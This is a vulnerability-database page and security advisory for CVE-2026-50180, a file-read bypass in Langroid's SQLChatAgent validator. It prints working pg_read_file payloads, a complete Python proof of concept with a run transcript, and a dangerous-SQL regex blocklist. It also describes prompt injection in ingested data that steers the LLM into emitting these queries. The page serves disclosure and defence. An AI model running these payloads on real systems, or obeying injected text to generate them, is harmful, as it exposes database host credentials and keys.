Skip to main content

Langroid CVE-2026-50180

HIGH
Path Traversal (CWE-22)
2026-07-02 https://github.com/langroid/langroid GHSA-pmch-g965-grmr
8.7
CVSS 4.0 · Vendor: https://github.com/langroid/langroid
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Craft prompt or inject payload into ingested data
  2. Delivery
    LLM emits SELECT pg_read_file('/path')
  3. Exploit
    Query clears SELECT allowlist and regex blocklist
  4. Execution
    SQLAlchemy executes against PostgreSQL
  5. Impact
    Read arbitrary host files (configs, keys, credentials)

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Path canonicalization, traversal prevention
MITRE ATT&CK

2 techniques across 2 tactics: Discovery, Collection

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires a Langroid SQLChatAgent (<= 0.63.0) backed by PostgreSQL and reachable by input the attacker can shape - either directly as a client of the SQLChatAgent service or transitively via prompt-injection in any data source (document, tool output, or DB row) the agent is asked to read and summarize; no PostgreSQL credentials are needed because the agent supplies them. The disclosure payloads work under the strict DEFAULT configuration (allow_dangerous_operations=False, allowed_statement_types=['SELECT']). Limiting factors: the backend must be PostgreSQL for the pg_read_file family (MSSQL is needed for OPENDATASOURCE; SQLite only for the ATTACH gap and only when allowed_statement_types is extended to include ATTACH); reads of arbitrary absolute paths require the agent's DB role to hold pg_read_server_files or be a superuser, otherwise reads are confined to PGDATA-relative paths; and the attacker must be able to influence the LLM-generated SQL string. No end-user click/UI interaction is required (UI:N).

Impact

The vendor CVSS 4.0 vector (8.7, AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N) reflects network-reachable, unauthenticated-attacker, high-confidentiality impact with no integrity or availability effect - consistent with a read-only file-disclosure bug. Publicly available exploit code (a complete, self-contained PoC using testing.postgresql) raises practical risk and lowers the barrier to reproduction, but the vulnerability is NOT in CISA KEV and there is no evidence of active exploitation; EPSS is not provided in the input. The most important nuance the raw CVSS understates: real-world impact is conditional on deployment. It only bites where (a) the SQLChatAgent is backed by PostgreSQL (or MSSQL/SQLite for the secondary gaps), and (b) the DB role's filesystem privileges - pg_read_file reads only PGDATA-relative paths unless the role holds pg_read_server_files or is superuser, in which case absolute paths (postgresql.conf, pg_hba.conf, ~/.pgpass, TLS keys) become readable. PR:N is defensible because the attacker needs no PostgreSQL credentials (the agent holds them) and can drive the SQL via prompt input or transitive prompt-injection, but note the impact is gated by DB-role privilege, not attacker privilege. Net: a genuine, high-value confidentiality issue for PostgreSQL-backed Langroid deployments exposed to untrusted input, but lower urgency than a KEV-listed RCE - prioritize based on whether your deployment exposes a SQLChatAgent to untrusted prompt content and how privileged its DB role is.

Exploit ScenarioDerived

An attacker submits a request (or plants prompt-injection text in a document, tool result, or database row the agent later reads and summarizes) that steers the LLM into generating SELECT pg_read_file('postgresql.conf') or SELECT pg_read_file('/etc/passwd'). Because the query is a syntactic SELECT, it clears the statement-type allowlist and the name-based regex blocklist, then executes against the live engine and returns file contents to the caller. A working proof-of-concept demonstrating exactly this against a transient PostgreSQL instance is publicly available in the GHSA advisory, and the network attack vector with low complexity means no local access or special tooling is needed.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.7% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv3 – Jul 10, 2026

Arbitrary file read in Langroid's SQLChatAgent (<= 0.63.0) lets an attacker who can influence the LLM-generated SQL exfiltrate files from the PostgreSQL host even under the strict default config (allow_dangerous_operations=False, allowed_statement_types=['SELECT']). The _validate_query blocklist enumerates dangerous functions by exact name and misses the pg_read_file/pg_stat_file/pg_ls_*/pg_current_logfile family (plus MSSQL OPENDATASOURCE and keyword-less SQLite ATTACH), so these SELECT-shaped payloads pass both the statement-type allowlist and the regex blocklist and reach the live SQLAlchemy engine. Publicly available exploit code exists (a working PoC ships in the GHSA advisory); no public exploit identified as actively exploited and this is not in CISA KEV.

Earlier versions of this analysis (2)
v2 Jul 10, 2026 - 00:33 cvss changed CVSS 8.7

Arbitrary file read in langroid's SQLChatAgent (<= 0.63.0) lets an attacker who can shape the LLM-generated SQL exfiltrate files from the PostgreSQL host via ordinary SELECT queries, defeating the agent's default hardening. The _validate_query blocklist enumerates dangerous functions by exact name and misses the pg_read_file/pg_stat_file/pg_ls_logdir/pg_ls_waldir/pg_current_logfile family (plus MSSQL OPENDATASOURCE and keyword-less SQLite ATTACH), so payloads pass both the SELECT-only statement allowlist and the regex filter. Publicly available exploit code exists and a vendor patch (0.64.0) is available; no CISA KEV listing or EPSS score is present in the data.

v1 Jul 02, 2026 - 18:16

Arbitrary file read on the PostgreSQL host backing Langroid's SQLChatAgent (versions <= 0.63.0) is possible because the _validate_query defense-in-depth blocklist enumerates dangerous SQL functions by exact name and omits the pg_read_file(), pg_stat_file(), pg_ls_logdir(), pg_ls_waldir(), and pg_current_logfile() family. Any actor able to shape the LLM-generated SQL — directly as a service client or transitively via prompt-injection in ingested data — can read files such as postgresql.conf, pg_hba.conf, ~/.pgpass, and TLS keys through ordinary SELECT queries, even under the strict default config (allow_dangerous_operations=False, allowed_statement_types=['SELECT']). Publicly available exploit code exists (a full reproducing PoC ships with the advisory); the issue is not in CISA KEV and CVSS/EPSS are not provided.

RemediationAI

Vendor-released patch: upgrade to langroid 0.64.0, which broadens _DANGEROUS_SQL_PATTERNS to match the whole pg_(read|stat|ls|current_logfile) family via prefix regex, adds OPENDATASOURCE alongside OPENROWSET, makes the SQLite ATTACH DATABASE keyword optional in the regex, and extends the CREATE blocklist to language/rule/event trigger/foreign table (fix commit https://github.com/langroid/langroid/commit/00b7dd7b79c5d03c94be284cf3459d98195ebfba; advisory https://github.com/langroid/langroid/security/advisories/GHSA-pmch-g965-grmr). If you cannot upgrade immediately, apply compensating controls: run the PostgreSQL role used by the agent as a minimally-privileged, non-superuser account that lacks pg_read_server_files membership so absolute-path reads are refused (trade-off: does not block PGDATA-relative reads or the pg_ls_*/pg_stat_file reconnaissance functions); REVOKE EXECUTE on the pg_read_file, pg_read_binary_file, pg_stat_file, pg_ls_logdir, pg_ls_waldir, pg_ls_tmpdir, pg_ls_archive_statusdir, and pg_current_logfile functions from the agent role (most robust DB-side mitigation, but must be reapplied per database and may break legitimate admin tooling using that role); and treat all prompt inputs and any data the agent ingests as untrusted, restricting who can drive the SQLChatAgent. For SQLite deployments, do not add 'ATTACH' to allowed_statement_types. These controls reduce but do not fully eliminate the read surface, so patching to 0.64.0 remains the primary fix.

Affected Packages

pypi langroid fix: 0.64.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Langroid is a Python multi-agent LLM framework; the affected component is SQLChatAgent, which translates natural-language requests into SQL executed against a user-configured SQLAlchemy engine. Its defense-in-depth control _validate_query (sql_chat_agent.py:546-615) combines a sqlglot statement-type allowlist with a hand-maintained _DANGEROUS_SQL_PATTERNS regex blocklist (lines 113-141). The root cause is CWE-22 (path traversal / file disclosure) realized through blocklist incompleteness: the regexes match specific tokens like pg_read_server_files? and pg_ls_dir but not their sibling primitives pg_read_file(), pg_stat_file(), pg_ls_logdir(), pg_ls_waldir(), pg_ls_tmpdir(), pg_ls_archive_statusdir(), and pg_current_logfile() - all SELECT-shaped PostgreSQL functions that return file contents or filesystem metadata. Because each payload parses as a sqlglot Select, it satisfies the SELECT-only allowlist, then evades the name-based blocklist, then hits session.execute(text(query)) inside run_query. The same enumeration weakness appears in the MSSQL branch (OPENROWSET blocked but not OPENDATASOURCE) and the SQLite branch (the ATTACH regex requires the optional DATABASE keyword, so ATTACH '<file>' AS x slips through where allowed_statement_types is extended to permit ATTACH). CPE pkg:pip/langroid confirms the single affected PyPI package.

Know when PostgreSQL gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/langroid/langroid) PRIMARY 8.7 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
vuln.today AI 7.5 HIGH

Attacker needs no credentials (agent holds DB access) and no user interaction, so PR:N/UI:N/AV:N/AC:L; impact is read-only file disclosure, so C:H with I:N/A:N.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/langroid/langroid).

CVSS VectorVendor: https://github.com/langroid/langroid

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

3
Analysis Updated
Jul 10, 2026 - 00:33 vuln.today
v3 - CVSS changed
Analysis Updated
Jul 10, 2026 - 00:33 vuln.today
v2 - CVSS changed
CVSS changed
Jul 10, 2026 - 00:22 NVD
8.7 (HIGH)

DescriptionCVE.org

Summary

SQLChatAgent in langroid ships a _validate_query defense-in-depth layer whose _DANGEROUS_SQL_PATTERNS regex blocklist enumerates dangerous SQL primitives by specific function name. The list misses the canonical PostgreSQL filesystem-disclosure family pg_read_file(), pg_stat_file(), pg_ls_logdir(), pg_ls_waldir(), pg_current_logfile() (and similar SELECT-shaped functions in the same family). It also leaves SQL Server OPENDATASOURCE and SQLite ATTACH '<file>' AS x (DATABASE keyword omitted) unblocked.

An attacker able to shape the LLM's generated SQL (directly via prompt input or transitively via prompt-injection in data the LLM ingests) can read arbitrary files from the PostgreSQL host through ordinary SELECT queries, even with the agent's strict default configuration (allow_dangerous_operations=False, allowed_statement_types=['SELECT']). The payloads survive the statement-type allowlist (each is a SELECT) and pass through the regex blocklist (none of the function names match), then reach the live SQLAlchemy engine via SQLChatAgent.run_query.

Affected versions

langroid <= 0.63.0 (latest at the time of this report; PyPI release 2026-05-27). The vulnerable code path is langroid/agent/special/sql/sql_chat_agent.py::_validate_query, which consults the module-level _DANGEROUS_SQL_PATTERNS literal at sql_chat_agent.py:113-141.

Privilege required

Any caller able to influence the LLM-generated RunQueryTool.query string that reaches SQLChatAgent.run_query. In a typical deployment this is any client of a SQLChatAgent-backed service, or any upstream data source whose content the LLM is asked to read and summarise. No PostgreSQL credentials are required from the attacker; the agent holds them.

Vulnerable code

langroid/agent/special/sql/sql_chat_agent.py:113-141 (the _DANGEROUS_SQL_PATTERNS literal) and sql_chat_agent.py:546-615 (the _validate_query method that consults it):

python
# sql_chat_agent.py:113
_DANGEROUS_SQL_PATTERNS: List["re.Pattern[str]"] = [
    re.compile(r"\bcopy\b[\s\S]*\bprogram\b", re.IGNORECASE),
    re.compile(r"\bpg_read_server_files?\b", re.IGNORECASE),
    re.compile(r"\bpg_read_binary_file\b", re.IGNORECASE),
    re.compile(r"\bpg_ls_dir\b", re.IGNORECASE),
    re.compile(r"\blo_(import|export)\b", re.IGNORECASE),
    re.compile(r"\binto\s+(outfile|dumpfile)\b", re.IGNORECASE),
    re.compile(r"\bload_file\s*\(", re.IGNORECASE),
    re.compile(r"\bload\s+data\b", re.IGNORECASE),
    re.compile(r"\bload_extension\s*\(", re.IGNORECASE),
    re.compile(r"\battach\s+database\b", re.IGNORECASE),
    re.compile(r"\bxp_cmdshell\b", re.IGNORECASE),
    re.compile(r"\bsp_oacreate\b", re.IGNORECASE),
    re.compile(r"\bsp_oamethod\b", re.IGNORECASE),
    re.compile(r"\bopenrowset\b", re.IGNORECASE),
    re.compile(r"\bbulk\s+insert\b", re.IGNORECASE),
    re.compile(
        r"\bcreate\s+(or\s+replace\s+)?(function|procedure|trigger)\b",
        re.IGNORECASE,
    ),
    re.compile(r"\bcreate\s+extension\b", re.IGNORECASE),
]

The blocklist is a list of \b<exact-token>\b literals. PostgreSQL ships several near-name functions on the same primitive that none of these match:

FunctionWhat it returnsMatched by blocklist?
pg_read_server_file('/path')file contentsyes (pg_read_server_files?)
pg_read_binary_file('/path')binary contentsyes
pg_ls_dir('/path')directory listingyes
pg_read_file('/path')file contentsno (no _server_ infix)
pg_stat_file('/path')size, mtime, ctime, atime, isdirno
pg_ls_logdir()filenames in PostgreSQL log dirno
pg_ls_waldir()WAL filenames and sizesno
pg_ls_tmpdir()temp-dir listingno
pg_ls_archive_statusdir()archive-status directory listingno
pg_current_logfile()active server log pathno

Each of these is a SELECT-shaped function call. They pass the sqlglot_exp.Select-only statement-type allowlist applied at sql_chat_agent.py:583-614, then evade the regex blocklist (their names contain no token the blocklist enumerates), then reach the SQLAlchemy session.execute(text(query)) sink inside SQLChatAgent.run_query (line 631 onwards).

Two non-PostgreSQL secondary gaps with the same regex-enumeration shape:

  • The SQLite pattern \battach\s+database\b requires the literal

DATABASE keyword. Per the SQLite grammar (https://www.sqlite.org/lang_attach.html) the keyword is optional: ATTACH '/path/to/db' AS x is valid syntax and matches no entry in the blocklist. Whether the agent rejects this via the statement-type allowlist depends on how the configured sqlglot dialect parses it; on PostgreSQL dialect parsing fails (sqlglot returns no Select) and the statement-type check rejects, but a SQLite-dialect SQLChatAgent (database_uri="sqlite:///...") returns the statement as sqlglot_exp.Attach, which is not in the agent's kind_map, so the generic type(stmt).__name__.upper() branch produces "ATTACH". That string is not in _DEFAULT_ALLOWED_STATEMENTS so the allowlist saves it here; however any deployment that extends allowed_statement_types to include "ATTACH" (e.g. to permit cross-schema connectivity) loses this fallback and the regex misses.

  • The MSSQL pattern \bopenrowset\b blocks OPENROWSET but not the

closely-related OPENDATASOURCE function. Both can read remote/UNC files and execute remote queries via an ad-hoc connection string, e.g. a SELECT against OPENDATASOURCE('SQLNCLI11','Server=remote;Trusted_Connection=yes') qualified down to master.sys.tables.

Attack scenario

SQLChatAgent.run_query (line 617 of sql_chat_agent.py) calls self._validate_query(query) (line 631) on the LLM-generated SQL. The LLM-generated SQL is shaped by upstream prompt content that crosses the trust boundary: the user message, any tool result the LLM is asked to summarise, any document the agent retrieves, and any row the agent reads back from its own database (the RunQueryTool result is fed back into the LLM history at sql_chat_agent.py:712-720 of the same release).

The default config in SQLChatAgentConfig (lines 183-184) sets allow_dangerous_operations=False and allowed_statement_types=["SELECT"], which is the configuration _validate_query was added to support. The bypass primitives below are reachable under this default config because each is a syntactic SELECT whose function-call argument is the disclosure vector.

Proof of concept

poc.py (single-file, no external services beyond a transient PostgreSQL spawned via testing.postgresql):

python
"""
PoC: SQLChatAgent _validate_query bypass via PostgreSQL file-disclosure
family pg_read_file / pg_stat_file / pg_ls_logdir / pg_ls_waldir /
pg_current_logfile.
"""

import os
import re
import sys
from typing import List, Optional

PKG = "/tmp/poc-langroid-bypass/venv/lib/python3.12/site-packages/langroid"
SRC = f"{PKG}/agent/special/sql/sql_chat_agent.py"
assert os.path.exists(SRC), f"Missing pinned langroid source: {SRC}"

import sqlglot
from sqlglot import expressions as sqlglot_exp


def load_patterns_from_pinned_source():
    """Extract _DANGEROUS_SQL_PATTERNS + _DEFAULT_ALLOWED_STATEMENTS from
    the pinned langroid 0.63.0 sql_chat_agent.py without instantiating the
    full agent stack (which needs an LLM config)."""
    with open(SRC) as f:
        source = f.read()
    block = re.search(
        r"_DANGEROUS_SQL_PATTERNS:[^=]*=\s*\[(.*?)\]\s*\n", source, re.DOTALL,
    )
    ns = {"re": re, "List": list}
    patterns = eval("[" + block.group(1) + "]", ns)
    allowed = eval(
        re.search(
            r"_DEFAULT_ALLOWED_STATEMENTS:\s*List\[str\]\s*=\s*(\[.*?\])",
            source, re.DOTALL,
        ).group(1)
    )
    return patterns, allowed


def validate_query(query, patterns, allowed_statements, dialect="postgres"):
    """Faithful reimplementation of SQLChatAgent._validate_query."""
    for pat in patterns:
        if pat.search(query):
            return f"Rejected by pattern {pat.pattern!r}"
    allowed = {t.strip().upper() for t in allowed_statements}
    try:
        statements = sqlglot.parse(query, read=dialect)
    except Exception as e:
        return f"Rejected: sqlglot parse failure: {e}"
    kind_map = {
        sqlglot_exp.Select: "SELECT", sqlglot_exp.Insert: "INSERT",
        sqlglot_exp.Update: "UPDATE", sqlglot_exp.Delete: "DELETE",
        sqlglot_exp.Merge: "MERGE", sqlglot_exp.Create: "CREATE",
        sqlglot_exp.Drop: "DROP", sqlglot_exp.Alter: "ALTER",
        sqlglot_exp.TruncateTable: "TRUNCATE", sqlglot_exp.Command: "COMMAND",
    }
    for stmt in statements:
        if stmt is None:
            continue
        kind = next(
            (v for k, v in kind_map.items() if isinstance(stmt, k)),
            type(stmt).__name__.upper(),
        )
        if kind not in allowed:
            return f"Rejected: statement type {kind!r} not in allowed {sorted(allowed)}"
    return None


def main():
    patched_patterns, allowed_statements = load_patterns_from_pinned_source()
    print(f"_DANGEROUS_SQL_PATTERNS count: {len(patched_patterns)}")
    print(f"_DEFAULT_ALLOWED_STATEMENTS:   {allowed_statements}")

    import testing.postgresql
    from sqlalchemy import create_engine, text

    pg = testing.postgresql.Postgresql()
    db_uri = pg.url()
    engine = create_engine(db_uri)
    with engine.connect() as conn:
        pgdata = conn.execute(text("SHOW data_directory")).scalar()
    victim_rel = "langroid_bypass_victim.txt"
    victim_abs = os.path.join(pgdata, victim_rel)
    with open(victim_abs, "w") as f:
        f.write("PWNED_BY_LANGROID_VALIDATOR_BYPASS\n")
    print(f"=== Victim file at: {victim_abs}")

    bypass_payloads = [
        ("bypass.pg_read_file", f"SELECT pg_read_file('{victim_rel}')"),
        ("bypass.pg_stat_file", f"SELECT pg_stat_file('{victim_rel}')"),
        ("bypass.pg_ls_logdir", "SELECT pg_ls_logdir()"),
        ("bypass.pg_ls_waldir", "SELECT pg_ls_waldir()"),
        ("bypass.pg_current_logfile", "SELECT pg_current_logfile()"),
    ]

    for label, query in bypass_payloads:
        rej = validate_query(query, patched_patterns, allowed_statements, "postgres")
        verdict = "REJECTED" if rej is not None else "ALLOWED"
        print(f"  [{verdict}] {label}: {query}")
        if verdict == "ALLOWED":
            try:
                with engine.connect() as conn:
                    rows = conn.execute(text(query)).fetchall()
                preview = [tuple(str(c)[:80] for c in r) for r in rows[:2]]
                print(f"     -> live engine returned rows={len(rows)} preview={preview}")
            except Exception as e:
                print(f"     -> live engine error: {type(e).__name__}: {str(e)[:120]}")


if __name__ == "__main__":
    main()

End-to-end reproduction

Run against the latest published langroid release from PyPI; no external LLM provider, no API key, no Docker, just a transient pg_ctl-managed PostgreSQL spawned in-process by testing.postgresql. Captured transcript of the run is below.

bash
# 1. Pin install the latest published release
python3.12 -m venv /tmp/poc-langroid-bypass/venv
source /tmp/poc-langroid-bypass/venv/bin/activate
pip install 'langroid==0.63.0' 'testing.postgresql' 'sqlglot' 'sqlalchemy<2.1'
# 2. Drop poc.py from the Proof-of-concept section above into
#    /tmp/poc-langroid-bypass/poc.py and run it
python /tmp/poc-langroid-bypass/poc.py

Observed transcript (abridged to bypass results; the run also verifies that the four primitives the current blocklist already covers (COPY ... TO PROGRAM, pg_read_server_file, pg_read_binary_file, pg_ls_dir) continue to be REJECTED, confirming the proposed fix is strictly broader, not narrower):

text
_DANGEROUS_SQL_PATTERNS count: 17
_DEFAULT_ALLOWED_STATEMENTS:   ['SELECT']
=== Transient PostgreSQL: postgresql://postgres@127.0.0.1:64694/test
=== Victim file at: /var/folders/.../tmpwuftmtu4/data/langroid_bypass_victim.txt

PATCHED VALIDATOR RESULTS (langroid 0.63.0 as shipped)
  [ALLOWED]  bypass.pg_read_file        SELECT pg_read_file('langroid_bypass_victim.txt')
  [ALLOWED]  bypass.pg_stat_file        SELECT pg_stat_file('langroid_bypass_victim.txt')
  [ALLOWED]  bypass.pg_ls_logdir        SELECT pg_ls_logdir()
  [ALLOWED]  bypass.pg_ls_waldir        SELECT pg_ls_waldir()
  [ALLOWED]  bypass.pg_current_logfile  SELECT pg_current_logfile()

LIVE EXECUTION OF BYPASS PAYLOADS (postgres only)
  [EXECUTED] bypass.pg_read_file        -> rows=1 preview=[('PWNED_BY_LANGROID_VALIDATOR_BYPASS\n',)]
  [EXECUTED] bypass.pg_stat_file        -> rows=1 preview=[('(35,"2026-05-28 10:11:19+08","2026-05-28 10:11:19+08","2026-05-28 10:11:19+08",,',)]
  [EXECUTED] bypass.pg_ls_waldir        -> rows=1 preview=[('(000000010000000000000001,16777216,"2026-05-28 10:11:19+08")',)]
  [EXECUTED] bypass.pg_current_logfile  -> rows=1 preview=[('None',)]

NEGATIVE CONTROL - SUGGESTED FIX VALIDATOR
  [REJECTED] bypass.pg_read_file        -> OK
  [REJECTED] bypass.pg_stat_file        -> OK
  [REJECTED] bypass.pg_ls_logdir        -> OK
  [REJECTED] bypass.pg_ls_waldir        -> OK
  [REJECTED] bypass.pg_current_logfile  -> OK
  [REJECTED] already_blocked.copy_program        -> OK
  [REJECTED] already_blocked.pg_read_server_file -> OK
  [REJECTED] already_blocked.pg_read_binary_file -> OK
  [REJECTED] already_blocked.pg_ls_dir           -> OK

The headline payload SELECT pg_read_file('langroid_bypass_victim.txt') returns the marker string verbatim from the file on disk. The same SQL, issued by an LLM under prompt-injection through any data source the agent reads, would land identically - the validator is purely a function of the SQL string and is consulted before the SQLAlchemy execute.

_validate_query is invoked directly rather than through a fully initialised SQLChatAgent because the agent's __init__ builds the LLM stack and demands a working LLM API key (or a stub). The security control under test is purely a function of (query, patterns, allowed_statements, dialect), so the direct call is observationally equivalent to a call via run_query. Patterns and allowed-statements are loaded by reading the pinned sql_chat_agent.py source out of the venv, guaranteeing no drift between PoC and shipped binary.

Impact

  • Arbitrary file read from the PostgreSQL host: pg_read_file() reads

files from PGDATA-relative paths by default and can take absolute paths when the DB role holds pg_read_server_files (or equivalent in managed-Postgres setups). For self-managed PostgreSQL deployments the DB role is frequently a superuser, in which case absolute paths are always accepted and the impact extends to postgresql.conf, pg_hba.conf, ~/.pgpass, TLS keys, and any other file readable by the PostgreSQL OS user.

  • Filesystem reconnaissance via pg_stat_file() (file existence,

size, mtime, isdir), pg_ls_logdir(), pg_ls_waldir(), pg_ls_tmpdir(), pg_ls_archive_statusdir(), pg_current_logfile().

  • MSSQL extension: OPENDATASOURCE reaches remote SQL Servers and

UNC paths, providing arbitrary outbound read + intranet pivot on MSSQL deployments.

  • SQLite extension: ATTACH '<path>' AS schemaname (DATABASE keyword

omitted) allows reading/writing arbitrary SQLite files on deployments whose allowed_statement_types include "ATTACH".

Suggested fix

Patch _DANGEROUS_SQL_PATTERNS to cover the full family rather than individual function names. Two compatible approaches; either is enough.

Approach 1 - family-prefix regex (minimal change, simplest to review):

python
_DANGEROUS_SQL_PATTERNS: List["re.Pattern[str]"] = [
    re.compile(r"\bcopy\b[\s\S]*\bprogram\b", re.IGNORECASE),
# Block the whole pg_read_*, pg_stat_*, pg_ls_*, pg_current_logfile
# family. Covers pg_read_file, pg_read_server_file(s),
# pg_read_binary_file, pg_stat_file, pg_ls_logdir, pg_ls_waldir,
# pg_ls_tmpdir, pg_ls_archive_statusdir, pg_ls_dir,
# pg_current_logfile, plus any future siblings PostgreSQL adds.
    re.compile(
        r"\bpg_(read|stat|ls|current_logfile)[A-Za-z0-9_]*\s*\(",
        re.IGNORECASE,
    ),
    re.compile(r"\blo_(import|export)\b", re.IGNORECASE),
    re.compile(r"\binto\s+(outfile|dumpfile)\b", re.IGNORECASE),
    re.compile(r"\bload_file\s*\(", re.IGNORECASE),
    re.compile(r"\bload\s+data\b", re.IGNORECASE),
    re.compile(r"\bload_extension\s*\(", re.IGNORECASE),
# SQLite grammar: ATTACH [DATABASE] expr AS schema-name.
# The DATABASE keyword is optional; match either form.
    re.compile(r"\battach\b(\s+database)?\s+['\"\w]", re.IGNORECASE),
    re.compile(r"\bxp_cmdshell\b", re.IGNORECASE),
    re.compile(r"\bsp_oacreate\b", re.IGNORECASE),
    re.compile(r"\bsp_oamethod\b", re.IGNORECASE),
    re.compile(r"\b(openrowset|opendatasource)\b", re.IGNORECASE),
    re.compile(r"\bbulk\s+insert\b", re.IGNORECASE),
    re.compile(
        r"\bcreate\s+(or\s+replace\s+)?(function|procedure|trigger|language|rule|event\s+trigger|foreign\s+table)\b",
        re.IGNORECASE,
    ),
    re.compile(r"\bcreate\s+extension\b", re.IGNORECASE),
]

Approach 2 - sqlglot AST walk in addition to regex. sqlglot is already imported by sql_chat_agent.py; iterate every function-call node (sqlglot_exp.Anonymous / sqlglot_exp.Func) inside the parsed statements and reject when the lower-cased name starts with pg_read, pg_stat, pg_ls, pg_current_logfile, lo_, or matches the MSSQL extended-procedure prefixes (xp_, sp_oa). AST matching is robust to whitespace, comments, and case games inside identifiers, at the cost of broader per-dialect maintenance. For closing the immediate gap, Approach 1 is sufficient.

Regression-test the additions in tests/main/sql_chat/test_sql_chat_security.py alongside the existing security tests. A natural 7-case extension covers the 5 PostgreSQL bypass payloads, the SQLite ATTACH ... AS x form, and the MSSQL OPENDATASOURCE form.

Fix PR

A private temp-fork PR applying the Suggested fix Approach 1 diff, plus the regression tests described above, accompanies this advisory: https://github.com/langroid/langroid-ghsa-pmch-g965-grmr/pull/1

Credit

Reported by tonghuaroot.

Executive ViewAI

Why It Matters

Langroid's SQLChatAgent (versions 0.63.0 and earlier) contains a vulnerability allowing application users to read sensitive files from connected PostgreSQL database hosts, including credentials and configuration data. Publicly available exploit code exists; organizations using this library for LLM-powered applications face immediate risk of unauthorized disclosure of database secrets and sensitive operational information.

Business Impact: High
Compensating Controls

Apply vendor patch. Interim mitigations pending patch deployment: restrict filesystem permissions on PostgreSQL hosts to limit file access scope, implement input validation on application prompts to reduce SQL injection risk, and enable database audit logging to detect unauthorized file access attempts.

Threat Intelligence Overview

EPSS Score
0.7%
Top 52% exploitable
Prevalence
Low
niche Python LLM-agent framework; SQLChatAgent+PostgreSQL subset smaller still
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Social Media
1
Sightings
Data Quality
4 sources
Confidence: Medium
NVD CVE.org EPSS Vulnrichment GHSA CIRCL GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.7%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
Yes
Human Impact
High
Technical Impact
Partial

Priority Score

65
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +44
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.

Affected Products (CPE)CVE.org

pkg:pip/langroid
CVE-2025-1094 HIGH POC
8.1 Feb 13

PostgreSQL libpq functions PQescapeLiteral(), PQescapeIdentifier(), PQescapeString(), and PQescapeStringConn() improperl

CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2013-1899 MEDIUM POC
6.5 Apr 04

Argument injection vulnerability in PostgreSQL 9.2.x before 9.2.4, 9.1.x before 9.1.9, and 9.0.x before 9.0.13 allows re

CVE-2026-20253 CRITICAL POC
9.8 Jun 10

Unauthenticated arbitrary file write in Splunk Enterprise (below 10.2.4 and 10.0.7) and Splunk Cloud Platform (below 10.

CVE-2026-9586 CRITICAL POC
9.3 Jul 17

Unauthenticated SQL injection in Sangoma Switchvox SMB Edition 8.3 (build 104997) lets remote attackers execute arbitrar

CVE-2017-7546 CRITICAL
9.8 Aug 16

PostgreSQL versions before 9.2.22, 9.3.18, 9.4.13, 9.5.8 and 9.6.4 are vulnerable to incorrect authentication flaw allow

CVE-2015-1352 MEDIUM POC
5.0 Mar 30

The build_tablename function in pgsql.c in the PostgreSQL (aka pgsql) extension in PHP through 5.6.7 does not validate t

CVE-2024-10553 CRITICAL POC
9.8 Mar 20

A vulnerability in the h2oai/h2o-3 REST API versions 3.46.0.4 allows unauthenticated remote attackers to execute arbitra

CVE-2019-9193 HIGH POC
7.2 Apr 01

In PostgreSQL 9.3 through 11.2, the "COPY TO/FROM PROGRAM" function allows superusers and users in the 'pg_execute_serve

CVE-2026-40887 CRITICAL POC
9.1 Apr 14

Unauthenticated SQL injection in Vendure Shop API allows remote attackers to execute arbitrary SQL commands against the

CVE-2022-24760 CRITICAL POC
10.0 Mar 12

Parse Server is an open source http web server backend. Rated critical severity (CVSS 10.0), this vulnerability is remot

CVE-2025-56157 CRITICAL POC
9.8 Dec 18

Hard-coded default PostgreSQL credentials shipped in the docker-compose.yaml of langgenius Dify through version 1.5.1 al

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy